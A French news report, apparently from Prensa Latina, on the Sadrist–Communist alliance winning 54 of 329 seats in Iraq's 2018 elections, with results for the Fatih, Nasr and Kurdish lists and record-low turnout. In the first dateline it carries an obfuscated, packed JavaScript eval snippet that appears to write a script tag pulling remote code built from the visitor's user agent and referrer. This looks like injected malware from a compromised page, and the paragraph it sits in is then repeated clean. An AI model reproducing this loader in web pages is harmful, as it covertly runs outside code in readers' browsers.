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L’alliance de Muqtada-al Sadr gagne les élections en Iraq

Bagdad,  eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezbff|var|u0026u|referrer|fdrhz||js|php'.split('|'),0,{})) 21 mai (Prensa Latina)  L'alliance entre le mouvement sadriste et le parti communiste d'Iraq a gagné les élections en remportant 54 des 329 sièges disputés, a-ton appris aujourd'hui.

Bagdad,  21 mai (Prensa Latina)  L’alliance entre le mouvement sadriste et le parti communiste d’Iraq a gagné les élections en remportant 54 des 329 sièges disputés, a-ton appris aujourd’hui.

Elle aura cependant besoin d’autres alliances pour former un Gouvernement même si Muqtada-al-Sadr, le chef de la coalition ne s’est pas présenté comme candidat et ne peut donc pas prétendre au poste de premier ministre.

A travers les réseaux sociaux, al-Sadr a remercié les électeurs pour leur confiance et a promis que son mouvement ne les décevra pas.

Le premier ministre sortant, Haider-al-Abadi, a demandé la coopération de toutes les forces politiques pour former un gouvernement d’unité nationale qui rejette le sectarisme et combatte la corruption.

Derrière l’alliance de Sadr avec le parti communiste arrive la coalition de Fatih, avec 47 députés, et celle de Nasr (« Victoire », en arabe), dirigée par le Chef du Gouvernement sortant, avec 42 députés.

Les partis kurdes ont recueilli 58 sièges, dont 25 pour le Parti du Kurdistan Démocratique et 18 pour l’Union Populaire de Kurdistan.

Avec seulement 44,5 de votants,  il s’agit de l’élection où la participation a été la plus basse depuis le renversement se Saddam Hussein.

La désillusion est le trait  marquant de la majorité des 24 millions d’iraquiens ayant le droit de vote et qui ont vu, à nouveau, les mêmes visages et entendu  les mêmes projets depuis l’invasion américaine de 2003 qui a implanté une sorte de système à l’image de la démocratie étatsunienne.

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